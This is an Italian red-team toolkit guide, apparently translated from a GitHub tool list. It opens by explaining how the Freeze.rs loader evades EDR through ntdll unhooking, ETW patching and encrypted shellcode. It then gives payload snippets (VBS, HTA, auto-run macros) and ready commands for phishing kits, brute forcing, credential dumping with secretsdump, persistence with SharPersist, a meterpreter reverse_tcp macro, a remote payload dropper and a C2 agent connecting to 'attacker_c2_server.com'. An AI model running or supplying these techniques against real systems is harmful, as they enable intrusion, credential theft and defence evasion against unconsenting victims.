Quando un processo viene creato, Ntdll.dll è la prima DLL caricata; ciò avviene prima che qualsiasi DLL EDR venga caricata. Questo significa che c'è un piccolo ritardo prima che un EDR possa essere caricato e iniziare a hookare e modificare l'assembly delle DLL di sistema. Osservando le syscall di Windows in Ntdll.dll, possiamo vedere che nulla è ancora stato hookato. Se creiamo un processo in stato sospeso (uno che è congelato nel tempo), possiamo vedere che nessun'altra DLL viene caricata, eccetto Ntdll.dll. Si può anche notare che nessuna DLL EDR è caricata, il che significa che le syscall situate in Ntdll.dll sono inalterate.
**Randomizzazione del layout dello spazio degli indirizzi**
Per utilizzare questo processo sospeso pulito per rimuovere gli hook dal loader di Freeze.rs, abbiamo bisogno di un modo per trovare e leggere programmaticamente la memoria del processo sospeso pulito. È qui che entra in gioco la randomizzazione del layout dello spazio degli indirizzi (ASLR). ASLR è un meccanismo di sicurezza per prevenire vulnerabilità basate sulla corruzione della memoria dello stack. ASLR randomizza lo spazio degli indirizzi all'interno di un processo, per garantire che tutti gli oggetti mappati in memoria, lo stack, l'heap e il programma eseguibile stesso siano unici. Ora, qui è dove diventa interessante perché mentre ASLR funziona, non funziona per il codice indipendente dalla posizione come le DLL. Ciò che accade con le DLL (in particolare le DLL di sistema note) è che lo spazio degli indirizzi viene randomizzato una volta all'avvio. Questo significa che non è necessario enumerare le informazioni di un processo remoto per trovare l'indirizzo di base della sua ntdll.dll perché è lo stesso in tutti i processi, incluso quello che controlliamo. Poiché l'indirizzo di ogni DLL è lo stesso per ogni avvio, possiamo ottenere queste informazioni dal nostro stesso processo e non dover mai enumerare il processo sospeso per trovare l'indirizzo.
Con queste informazioni, possiamo usare l'API ReadProcessMemory per leggere la memoria di un processo. Questa chiamata API è comunemente associata alla lettura di LSASS come parte di un attacco basato sulle credenziali; tuttavia, di per sé non è intrinsecamente dannosa, specialmente se stiamo solo leggendo una sezione arbitraria della memoria. L'unica volta in cui ReadProcessMemory verrà segnalata come sospetta è se stai leggendo qualcosa che non dovresti (come il contenuto di LSASS). I prodotti EDR non dovrebbero mai segnalare il fatto che ReadProcessMemory sia stata chiamata, poiché ci sono usi operativi legittimi per questa funzione e ciò causerebbe molti falsi positivi.
Possiamo fare un ulteriore passo avanti leggendo solo una sezione di Ntdll.dll dove sono memorizzate tutte le syscall - la sua sezione .text, anziché leggere l'intera DLL.
Combinando questi elementi, possiamo ottenere programmaticamente una copia della sezione .text di Ntdll.dll per sovrascrivere la nostra sezione .text esistente prima di eseguire lo shellcode.
**Patching di ETW**
ETW utilizza syscall integrate per generare questa telemetria. Poiché ETW è anche una funzionalità nativa di Windows, i prodotti di sicurezza non hanno bisogno di "hooking" delle syscall ETW per accedere alle informazioni. Di conseguenza, per prevenire ETW, Freeze.rs patcha numerose syscall ETW, svuotando i registri e riportando il flusso di esecuzione all'istruzione successiva. Il patching di ETW è ora predefinito in tutti i loader.
**Shellcode**
Con il crate NTAPI di Rust, puoi vedere che tutte queste chiamate non appaiono sotto ntdll.dll, ma esistono comunque all'interno del processo.
Di conseguenza:
**Perché Rust?**
Questo è iniziato come un progetto divertente per imparare Rust e si è evoluto in un framework a sé stante.
**Contribuire**
Freeze.rs è stato sviluppato in Rust.
**Installazione**
Se Rust e Rustup non sono installati, installali. Se lo stai compilando da OSX o Linux, assicurati di aver aggiunto il target "x86_64-pc-windows-gnu". Per farlo, esegui il seguente comando:
Una volta fatto, puoi compilare Freeze.rs, eseguire i seguenti comandi o usare il binario compilato:```bash
git clone https://github.com/optiv/Freeze
cd Freeze
rustup target add x86_64-pc-windows-gnu
cargo build --release
Da lì la versione compilata si troverà in in target/release (nota: se non inserisci --release il file si troverà in target/debug/ )```bash
___________
_ /_ ____ ____ ________ ____ _______ ______
| ) _ __ _/ __ _/ __ \_ // __ \ _ __ / /
| \ | | /\ /\ / / /\ / | | /_
_ / || _ >_ >___ \___ > /\ |__| /____ >
/ / / / / / /
(@Tyl0us)
Soon they will learn that revenge is a dish... best served COLD & Rusty...
USAGE: Freeze-rs [FLAGS] [OPTIONS]
FLAGS: -c, --console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature -h, --help Prints help information -n, --noetw Disables the ETW patching that prevents ETW events from being generated. -s, --sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -V, --version Prints version information
OPTIONS: -E, --Encrypt Encrypts the shellcode using either AES 256, ELZMA or RC4 encryption -I, --Input Path to the raw 64-bit shellcode. -O, --Output Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -p, --process The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' -e, --export Defines a custom export function name for any DLL.
**Binary vs DLL**
Freeze.rs può generare sia un file .exe che un file .dll. Per specificarlo, assicurati che l'opzione della riga di comando -O termini con .exe per i binari o .dll per le DLL. Al momento non sono supportati altri tipi di file. Nel caso di file DLL, Freeze.rs può anche aggiungere funzionalità di esportazione aggiuntive. Per fare ciò, usa -export con il nome specifico della funzione di esportazione.
**Encryption**
Crittografare lo shellcode è una tecnica importante per proteggerlo dall'essere rilevato e analizzato da EDR e altri prodotti di sicurezza. Freeze.rs offre diversi metodi per crittografare lo shellcode, tra cui AES, ELZMA e RC4.
**AES**
AES (Advanced Encryption Standard) è un algoritmo di crittografia simmetrica ampiamente utilizzato per crittografare i dati. Freeze.rs utilizza una dimensione di 256 bit AES per crittografare lo shellcode. Il vantaggio di usare AES per crittografare lo shellcode è che fornisce una crittografia robusta ed è ampiamente supportato dalle librerie crittografiche. Tuttavia, l'uso di una dimensione di blocco fissa può renderlo vulnerabile a determinati attacchi, come l'attacco di padding oracle.
**ELZMA**
ELZMA è un algoritmo di compressione e crittografia spesso usato nei malware per offuscare il codice. Per crittografare lo shellcode usando ELZMA, lo shellcode viene prima compresso con l'algoritmo ELZMA. I dati compressi vengono quindi crittografati usando una chiave casuale. I dati crittografati e la chiave vengono quindi incorporati nel codice exploit. Il vantaggio di usare ELZMA per crittografare lo shellcode è che fornisce sia compressione che crittografia in un unico algoritmo. Questo può aiutare a ridurre la dimensione del codice exploit e renderlo più difficile da rilevare.
**RC4**
RC4 è un algoritmo di crittografia simmetrica spesso usato nei malware per crittografare lo shellcode. È un cifrario a flusso che può utilizzare chiavi di lunghezza variabile ed è noto per la sua semplicità e velocità.
**Console**
Freeze.rs utilizza una tecnica che prima crea il processo e poi lo sposta in background. Questo fa due cose: prima aiuta a mantenere il processo nascosto e, secondo, evita di essere rilevato da qualsiasi prodotto EDR. Avviare un processo direttamente in background può essere molto sospetto e un indicatore di dannosità. Freeze.rs lo fa chiamando le funzioni Windows 'GetConsoleWindow' e 'ShowWindow' dopo che il processo è stato creato e i hook dell'EDR sono caricati, quindi modifica gli attributi della finestra per renderla nascosta.
Se viene selezionata l'opzione della riga di comando -console, Freeze.rs non nasconderà il processo in background. Invece, Freeze.rs aggiungerà diversi messaggi di debug che mostrano cosa sta facendo il loader.
---
### [🔙](#tool-list)WSH
**Creazione del payload:**```vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
Esegui:```bash wscript payload.vbs cscript.exe payload.vbs wscript /e:VBScript payload.txt //If .vbs files are blacklisted
### [🔙](#tool-list)HTA
**Creazione del payload:**```html
<html>
<body>
<script>
var c = "cmd.exe";
new ActiveXObject("WScript.Shell").Run(c);
</script>
</body>
</html>
Esegui: Esegui file
Creazione payload:```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub
**Esegui:** Imposta la funzione su Auto_Open() nel documento con macro abilitate
# Accesso Iniziale
### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)
Bash Bunny è uno strumento di attacco fisico USB e un sistema di consegna payload multifunzione. È progettato per essere collegato alla porta USB di un computer e può essere programmato per eseguire una varietà di funzioni, tra cui la manipolazione e l'esfiltrazione di dati, l'installazione di malware e l'elusione delle misure di sicurezza.
[hackinglab: Bash Bunny – Guida](https://hackinglab.cz/en/blog/bash-bunny-guide/)
[Documentazione Hak5](https://docs.hak5.org/bash-bunny/)
[Bel Repository di Payload](https://github.com/hak5/bashbunny-payloads)
[Pagina del prodotto](https://hak5.org/products/bash-bunny)
### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)
evilginx2 + gophish. (GoPhish) Gophish è un potente framework di phishing open-source che permette di testare facilmente l'esposizione della propria organizzazione al phishing. (evilginx2) Framework standalone man-in-the-middle utilizzato per il phishing di credenziali di accesso insieme ai cookie di sessione, consentendo di bypassare l'autenticazione a due fattori.
**Installazione:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish
Utilizzo:``` Usage: ./setup <subdomain(s)>
### [🔙](#tool-list)[Social Engineer Toolkit (SET)](https://github.com/IO1337/social-engineering-toolkit)
Questo framework è ottimo per creare campagne per l'accesso iniziale, 'SET ha una serie di vettori di attacco personalizzati che ti consentono di realizzare un attacco credibile rapidamente'.
**Installazione:**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install
Utilizzo:```bash python3 setoolkit
### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)
Ottimo strumento per attacchi di forza bruta su login. Può attaccare diversi servizi tra cui SSH, FTP, TELNET, HTTP, ecc.
**Installazione:**```bash
sudo apt install hydra
Utilizzo:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)
SquarePhish è uno strumento avanzato di phishing che utilizza una tecnica che combina il flusso di autenticazione tramite codice OAuth Device e codici QR (vedi [PhishInSuits](https://github.com/secureworks/PhishInSuits) per ulteriori informazioni sul flusso del codice OAuth Device per attacchi di phishing).
Passaggi dell'attacco:
- Inviare un codice QR malevolo alla vittima
- La vittima scansiona il codice QR con un dispositivo mobile
- La vittima viene reindirizzata al server controllato dall'attaccante (attivando il processo di flusso di autenticazione tramite codice OAuth Device)
- Alla vittima viene inviato un codice MFA via email (avviando il timer di 15 minuti del flusso OAuth Device Code)
- L'attaccante esegue il polling per l'autenticazione
- La vittima inserisce il codice nel sito web legittimo di Microsoft
- L'attaccante salva il token di autenticazione
**Installazione:**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
Nota: Prima di utilizzare uno dei due moduli, aggiorna le informazioni richieste nel file settings.config indicate con Required.
Utilizzo (Modulo Email):``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments: -h, --help show this help message and exit
-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL victim email address to send initial QR code email to
**Utilizzo (Modulo Server):**```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
King Phisher è uno strumento che consente agli aggressori di creare e inviare email di phishing alle vittime per ottenere informazioni sensibili.
Include funzionalità come modelli personalizzabili, gestione delle campagne e capacità di invio di email, rendendolo uno strumento potente e facile da usare per condurre attacchi di phishing. Con King Phisher, gli aggressori possono prendere di mira individui o organizzazioni con email di phishing mirate e convincenti, aumentando le probabilità di successo dei loro attacchi.
Install (Linux - Client & Server):```bash
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh
**Utilizzo:**
Una volta installato King Phisher, segui la [pagina wiki](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started) per configurare SSH, database, server SMTP, ecc.
# Esecuzione
### [🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder è uno strumento per avvelenare i protocolli LLMNR e NBT-NS su una rete, per consentire la cattura di credenziali e l'esecuzione arbitraria di codice.
I protocolli LLMNR (Link-Local Multicast Name Resolution) e NBT-NS (NetBIOS Name Service) sono utilizzati dai sistemi Windows per risolvere i nomi host in indirizzi IP su una rete locale. Se un nome host non può essere risolto usando questi protocolli, il sistema invierà una richiesta broadcast per il nome host alla rete locale.
Responder ascolta queste trasmissioni e risponde con un indirizzo IP falso, ingannando il sistema richiedente in modo che invii le sue credenziali all'attaccante.
**Installazione:**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
Utilizzo:```bash
./Responder.py [options]
./Responder.py -I eth0 -wrf
Informazioni complete sull'uso si trovano [qui](https://github.com/SpiderLabs/Responder#usage).
_Immagine usata da https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/_
### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
Una utility che fa parte della libreria Impacket, utilizzabile per estrarre hash di password e altri segreti da un sistema Windows.
Lo fa interagendo con il database Security Account Manager (SAM) sul sistema ed estraendo gli hash delle password e altre informazioni, come:
- Hash delle password per account locali
- Ticket e chiavi Kerberos
- Segreti LSA
**Installazione:**```bash
python3 -m pip install impacket
Uso:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]
_Immagine utilizzata da https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy_
### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)
Evil-WinRM è uno strumento che fornisce un'interfaccia a riga di comando per Windows Remote Management (WinRM: _Un servizio che consente agli amministratori di eseguire comandi in remoto su una macchina Windows_).
Evil-WinRM permette a un attaccante di connettersi in remoto a una macchina Windows tramite WinRM ed eseguire comandi arbitrari.
Alcune funzionalità includono:
- Caricare in memoria script Powershell
- Caricare in memoria file dll bypassando alcuni AV
- Caricare payload x64
- Supporto pass-the-hash
- Caricare e scaricare file locali e remoti
**Install: (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
Installazione: (Ruby gem)```bash gem install evil-winrm
Istruzioni di installazione alternative possono essere trovate [qui](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methods).
**Utilizzo:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
La documentazione completa sull'uso si trova qui.
Immagine usata da https://korbinian-spielvogel.de/posts/heist-writeup/
Uno strumento per l'esecuzione in memoria di file VBScript, JScript, EXE, DLL e assembly dotNET. Può essere utilizzato per caricare ed eseguire payload personalizzati su sistemi target senza la necessità di scrivere file su disco.
Installazione: (Windows)```bash git clone http://github.com/thewover/donut.git
Per generare il modello del loader, la libreria dinamica donut.dll, la libreria statica donut.lib e il generatore donut.exe. Avvia un prompt dei comandi x64 Microsoft Visual Studio Developer Command Prompt, passa alla directory in cui hai clonato il repository Donut e inserisci quanto segue:```bash
nmake -f Makefile.msvc
Per fare lo stesso, tranne che usando MinGW-64 su Windows o Linux, passa alla directory in cui hai clonato il repository Donut e inserisci quanto segue:```bash make -f Makefile.mingw
**Installazione: (Linux)**```bash
pip3 install donut-shellcode
Uso:```bash
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
Per informazioni complete sull'utilizzo, consulta la [Pagina GitHub](https://github.com/TheWover/donut/#4-usage) di donut.
Vedi [un recente articolo del blog](https://thewover.github.io/Bear-Claw/) di The Wover per maggiori dettagli.
### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)
Uno strumento utilizzato per automatizzare l'offuscamento e la generazione di documenti Office, script VB, shortcut e altri formati per red teaming.
**Installazione: (Binario)**
1. Scarica l'ultima versione binaria da [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)
2. Scarica il binario su un PC con Microsoft Office originale installato.
3. Apri la console, CD nella directory del binario e richiama il binario
**Installazione: (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Utilizzo:```bash
python3 macro_pack.py --help
macro_pack.exe --listformats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
macro_pack.exe -f empire.vba -o -G myDoc.docm
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
echo calc.exe | macro_pack.exe --dde -G calc.xslx
### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
Una raccolta di script e moduli PowerShell che possono essere utilizzati per raggiungere una varietà di obiettivi di red team.
Alcune delle funzionalità di PowerSploit:
- Estrai hash di password e password in chiaro dalla memoria
- Eleva i privilegi e aggira i controlli di sicurezza
- Esegui codice PowerShell arbitrario e aggira le restrizioni di esecuzione
- Esegui ricognizione e scoperta di rete
- Genera payload ed esegui exploit
**Installazione:** _1. Salva nella cartella dei moduli PowerShell_
Per prima cosa dovrai scaricare la [cartella PowerSploit](https://github.com/PowerShellMafia/PowerSploit) e salvarla nella cartella dei moduli PowerShell.
Il percorso della cartella dei moduli PowerShell si può trovare con il seguente comando:```
$Env:PSModulePath
Installazione: 2. Installare PowerSploit come modulo PowerShell
Sarà quindi necessario installare il modulo PowerSploit (usa il nome della cartella scaricata).
Nota: La tua politica di esecuzione di PowerShell potrebbe bloccarti; per risolvere, esegui il seguente comando.``` powershell.exe -ep bypass
Ora puoi installare il modulo PowerSploit.```
Import-Module PowerSploit
Utilizzo:``` Get-Command -Module PowerSploit
### [🔙](#tool-list)[Rubeus](https://github.com/GhostPack/Rubeus)
Uno strumento che può essere utilizzato per eseguire varie azioni relative agli ambienti Microsoft Active Directory (AD), come il dump degli hash delle password, la creazione/eliminazione di utenti e la modifica delle proprietà degli utenti.
Alcune delle funzionalità di Rubeus:
- Kerberoasting
- Attacchi golden ticket
- Attacchi silver ticket
**Installazione: (Download)**
È possibile installare il binario non ufficiale precompilato di Rubeus [qui](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe).
**Installazione: (Compilazione)**
Rubeus è compatibile con [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Apri il [progetto .sln](https://github.com/GhostPack/Rubeus) di Rubeus, scegli "Release" e compila.
**Utilizzo:**```
Rubeus.exe -h
Un ottimo strumento per controllare l'endpoint di una vittima alla ricerca di vulnerabilità relative a processi ad alta integrità, gruppi, percorsi hijackable, ecc.
Installazione: (Download)
È possibile installare il binario SharpUp precompilato non ufficiale qui.
Installazione: (Compile)
SharpUp è compatibile con Visual Studio 2015 Community Edition. Apri il progetto .sln di SharpUp, scegli "Release" e compila.
Utilizzo:```bash SharpUp.exe audit #-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths #-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths #-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.
### [🔙](#tool-list)[SQLRecon](https://github.com/skahwah/SQLRecon)
MS-SQL (Microsoft SQL Server) è un sistema di gestione di database relazionali sviluppato e commercializzato da Microsoft.
Questo toolkit MS-SQL in C# è progettato per ricognizione offensiva e post-exploitation. Per informazioni dettagliate sull'uso di ogni tecnica, consulta la [wiki](https://github.com/skahwah/SQLRecon/wiki).
**Installazione: (Binario)**
Puoi scaricare l'ultima versione binaria da [qui](https://github.com/skahwah/SQLRecon/releases).
**Utilizzo:**```bash
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
Le informazioni complete sull'utilizzo sono disponibili sul wiki.
Le informazioni sull'utilizzo dei moduli dello strumento sono disponibili qui.
Immagine tratta dalla pagina di aiuto di SQLRecon
Questa risorsa è una raccolta delle tecniche più comuni e conosciute per bypassare AppLocker.
Poiché AppLocker può essere configurato in diversi modi, @api0cradle mantiene una lista verificata di bypass (che funzionano contro le regole predefinite di AppLocker) e una lista con possibili tecniche di bypass (a seconda della configurazione) o rivendicate come bypass da qualcuno.
Hanno anche un elenco di tecniche di bypass generiche oltre a un elenco legacy di metodi di esecuzione tramite DLL.
Elenchi indicizzati
Immagine tratta da https://github.com/api0cradle/UltimateAppLockerByPassList
Un launcher Empire basato su JavaScript e VBScript, che viene eseguito all'interno del proprio host PowerShell incorporato.
Entrambi i launcher vengono eseguiti all'interno del proprio host PowerShell incorporato, quindi non abbiamo bisogno di PowerShell.exe.
Questo può essere utile quando un'azienda blocca PowerShell.exe e/o utilizza una soluzione di whitelisting delle applicazioni, ma non blocca l'esecuzione di file JS/VBS.
Utilizzo:
Per la versione JavaScript, usa la seguente variabile:```javascript var EncodedPayload = "";
Per la versione VBScript utilizzare la seguente variabile:```vbscript
Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"
Immagine utilizzata da https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html
L'obiettivo di questo progetto è generare file .html che contengono un file HTA crittografato.
L'idea è che quando il tuo obiettivo visita la pagina, la chiave viene recuperata e l'HTA viene decrittografato dinamicamente all'interno del browser e inviato direttamente all'utente.
Questa è una tecnica di evasione per aggirare l'ispezione del contenuto/tipo di file implementata da alcuni dispositivi di sicurezza.
Ulteriori informazioni tecniche qui.
Installazione:``` git clone https://github.com/nccgroup/demiguise cd demiguise
**Utilizzo:**```bash
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
Immagine usata da https://github.com/nccgroup/demiguise
Impacket fornisce una serie di binding Python di basso livello per vari protocolli di rete, tra cui SMB, Kerberos e LDAP, oltre a librerie di alto livello per interagire con i servizi di rete e svolgere attività specifiche come il dump degli hash delle password e la creazione di condivisioni di rete.
Include anche una serie di strumenti da riga di comando che possono essere utilizzati per eseguire varie attività come il dump dei database SAM, l'enumerazione delle relazioni di trust del dominio e il cracking delle password di Windows.
Installazione:```bash python3 -m pip install impacket
**Install: (Con Script di Esempio)**
Scarica ed estrai [il pacchetto](https://github.com/fortra/impacket), quindi naviga nella cartella di installazione ed esegui...```bash
python3 -m pip install .
Utilizzo:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
netview.py domain/user:password -target 192.168.10.2
mssqlinstance.py 192.168.1.2
GetADUsers.py domain/user:password@IP
Ottimo [cheat sheet](https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/) per l'uso di Impacket.
### [🔙](#tool-list)[Empire](https://github.com/EmpireProject/Empire)
Empire è un framework post-exploitation che permette di generare payload per stabilire connessioni remote con sistemi vittima.
Una volta che un payload è stato eseguito su un sistema vittima, stabilisce una connessione al server Empire, che può quindi essere utilizzato per inviare comandi e controllare il sistema target.
Empire include anche una serie di moduli e script integrati che possono essere utilizzati per eseguire compiti specifici, come il dump degli hash delle password, l'accesso al registro di Windows e l'esfiltrazione di dati.
**Installazione:**```bash
git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh
Uso:```bash
./empire
list agents
list listeners
Bel cheat sheet sull'utilizzo [qui](https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf) di [HarmJoy](https://github.com/HarmJ0y).
### [🔙](#tool-list)[SharPersist](https://github.com/mandiant/SharPersist)
Un toolkit di persistenza per Windows scritto in C#.
Il progetto ha un [wiki](https://github.com/mandiant/SharPersist/wiki).
**Installazione: (Binario)**
Puoi trovare l'ultima release [qui](https://github.com/mandiant/SharPersist/releases).
**Installazione: (Compilazione)**
- Scarica i file del progetto dal [repository GitHub](https://github.com/mandiant/SharPersist).
- Carica il progetto di Visual Studio e vai su "Strumenti" --> "Gestione pacchetti NuGet" --> "Impostazioni Gestione pacchetti"
- Vai su "Gestione pacchetti NuGet" --> "Origini pacchetti"
- Aggiungi un'origine pacchetto con l'URL "https://api.nuget.org/v3/index.json"
- Installa il pacchetto NuGet Costura.Fody. È necessaria la versione precedente di Costura.Fody (3.3.3), in modo da non aver bisogno di Visual Studio 2019.
- `Install-Package Costura.Fody -Version 3.3.3`
- Installa il pacchetto TaskScheduler
- `Install-Package TaskScheduler -Version 2.8.11`
- Ora puoi compilare il progetto da solo!
**Utilizzo:**
Un elenco completo di esempi di utilizzo può essere trovato [qui](https://github.com/mandiant/SharPersist#adding-persistence-triggers-add).```
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Ligolo-ng è uno strumento semplice, leggero e veloce che consente ai penetration tester di stabilire tunnel da una connessione TCP/TLS inversa usando un'interfaccia tun (senza la necessità di SOCKS).
Invece di usare un proxy SOCKS o inoltratori TCP/UDP, Ligolo-ng crea uno stack di rete in userland utilizzando Gvisor.
Quando si esegue il server relay/proxy, viene utilizzata un'interfaccia tun, i pacchetti inviati a questa interfaccia vengono tradotti e poi trasmessi alla rete remota dell'agente.
Installa: (Download)
I binari precompilati (Windows/Linux/macOS) sono disponibili nella pagina delle release.
Installa: (Build)
Compilazione di ligolo-ng (Go >= 1.17 è richiesto):```bash go build -o agent cmd/agent/main.go go build -o proxy cmd/proxy/main.go
GOOS=windows go build -o agent.exe cmd/agent/main.go GOOS=windows go build -o proxy.exe cmd/proxy/main.go
**Installazione: (Linux)**```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
Configurazione: (Windows)
Devi scaricare il driver Wintun (usato da WireGuard) e posizionare il file wintun.dll nella stessa cartella di Ligolo (assicurati di usare l'architettura corretta).
Configurazione: (Server proxy)```bash ./proxy -h # Help options ./proxy -autocert # Automatically request LetsEncrypt certificates
**Utilizzo:**
_Avvia l'agente sul computer del tuo bersaglio (vittima) (non sono richiesti privilegi!):_```bash
./agent -connect attacker_c2_server.com:11601
Una sessione dovrebbe apparire sul server proxy.``` INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Usa il comando session per selezionare l'agente.```
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Full usage information can be found here.
Immagine presa da https://github.com/nicocha30/ligolo-ng#demo
LinPEAS è un utile e dettagliato strumento per l'escalation dei privilegi, utile per trovare percorsi di privesc locali su endpoint Linux.
Installazione e utilizzo:```bash curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh
### [🔙](#tool-list)[WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
WinPEAS è uno strumento di elevazione dei privilegi molto dettagliato per trovare percorsi di privesc locali su endpoint Windows.
**Installazione + Utilizzo:**```bash
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
Linux smart enumeration è un altro buon strumento per il privesc su Linux, meno verboso.
Installazione + Utilizzo:```bash curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
### [🔙](#tool-list)[Certify](https://github.com/GhostPack/Certify)
Certify è uno strumento C# per enumerare e sfruttare le configurazioni errate nei Servizi Certificati di Active Directory (AD CS).
Certify è progettato per essere utilizzato insieme ad altri strumenti e tecniche red team, come Mimikatz e PowerShell, per consentire ai red teamer di eseguire vari tipi di attacchi, inclusi attacchi man-in-the-middle, attacchi di impersonificazione e attacchi di escalation dei privilegi.
**Caratteristiche principali di Certify:**
- Creazione di certificati
- Firma di certificati
- Importazione di certificati
- Modifica della fiducia dei certificati
**Installazione: (Compila)**
Certify è compatibile con [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Apri il progetto Certify [.sln](https://github.com/GhostPack/Certify), scegli "Release" e compila.
**Installazione: (Eseguire Certify tramite PowerShell)**
Se desideri eseguire Certify in memoria tramite un wrapper PowerShell, prima compila Certify e codifica in base64 l'assembly risultante:```bash
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
